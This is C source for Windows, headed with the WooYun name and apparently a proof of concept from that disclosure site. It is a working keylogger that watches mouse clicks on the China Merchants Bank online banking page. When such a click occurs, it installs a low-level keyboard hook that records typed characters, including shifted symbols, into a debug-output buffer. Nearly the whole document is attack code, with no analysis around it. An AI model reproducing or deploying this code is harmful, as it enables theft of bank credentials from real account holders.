WooYun.org

HHOOK g_hk = NULL;
TCHAR g_buff[100] = { 0 };
int g_index = 0;
LRESULT CALLBACK KeyHook(int nCode, WPARAM wp, LPARAM lp)
{
	static DWORD a_other[] = 
	{
		VK_CAPITAL, VK_LSHIFT, VK_RSHIFT, VK_LCONTROL, VK_RCONTROL, VK_LMENU, VK_RMENU,
	};
	
	KBDLLHOOKSTRUCT* pLL = ((KBDLLHOOKSTRUCT*)lp);
	DWORD vk = pLL->vkCode;
	for(int i = 0; i < sizeof(a_other)/sizeof(*a_other); ++i)
	{
		if(vk == a_other[i])
		{
			return CallNextHookEx(g_hk, nCode, wp, lp);
		}
	}
	if(nCode >= 0 && WM_KEYUP == (DWORD)wp)
	{	
			POINT pt = { 0 };
			GetCursorPos(&pt);
			HWND hwnd = WindowFromPoint(pt);
			if(hwnd)
			{
				hwnd = GetParent(GetParent(GetParent(hwnd)));
				TCHAR szTitle[1000] = { 0 };
				SendMessage(hwnd, WM_GETTEXT, (WPARAM)1000, (LPARAM)szTitle);
				_tcslwr(szTitle);
				if(_tcsstr(szTitle, _T("https://pbnj.ebank.cmbchina.com")))
				{
					TCHAR ch = (TCHAR)vk;
					if(vk >= VK_NUMPAD0 && vk <= VK_NUMPAD9)
					{
						ch = vk - 0x30;
					}
					else if('A' <= vk && 'Z' >= vk && 0 == LOBYTE(GetKeyState(VK_CAPITAL)))
					{	
						ch = vk + ('a' - 'A'); 
					}
					else if(vk >= 0x30 && vk <= 0x39 && (0x8000 & GetKeyState(VK_SHIFT)))
					{
						switch (vk)
						{
						case 0x32:
							ch = _T('@');
							break;
						case 0x33:
							ch = _T('#');
							break;
						case 0x34:
							ch = _T('$');
							break;
						case 0x35:
							ch = _T('%');
							break;
						case 0x36:
							ch = _T('^');
							break;
						case 0x37:
							ch = _T('&');
							break;
						case 0x38:
							ch = _T('*');
							break;
						}
					}
					else if(VK_MULTIPLY == vk)
					{
						ch = _T('*');
					}
					g_buff[g_index++] = ch;
					OutputDebugStringW(g_buff);
				}				
			}
	}
	return CallNextHookEx(g_hk, nCode, wp, lp);
}
LRESULT CALLBACK MouseHook(int nCode, WPARAM wp, LPARAM lp)
{
	if(!(nCode >= 0 && WM_LBUTTONUP == wp))
	{
		return CallNextHookEx(NULL, nCode, wp, lp);
	}
	
	POINT pt = { 0 };
	GetCursorPos(&pt);
	HWND hwnd = WindowFromPoint(pt);
	if(hwnd)
	{
		HWND hParent = GetParent(GetParent(GetParent(hwnd)));
		TCHAR szTitle[1000] = { 0 };
		SendMessage(hParent, WM_GETTEXT, (WPARAM)1000, (LPARAM)szTitle);
		_tcslwr(szTitle);
		if(_tcsstr(szTitle, _T("https://pbnj.ebank.cmbchina.com")))
		{
			SendMessage(hwnd, WM_KILLFOCUS, NULL, 0);
			if(g_hk)
			{
				UnhookWindowsHookEx(g_hk);
				g_hk = NULL;
			}
			g_hk = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHook, GetModuleHandle(NULL), 0);
		}
	}
	return CallNextHookEx(NULL, nCode, wp, lp);
}
SetWindowsHookEx(WH_MOUSE_LL, MouseHook, GetModuleHandle(NULL), 0);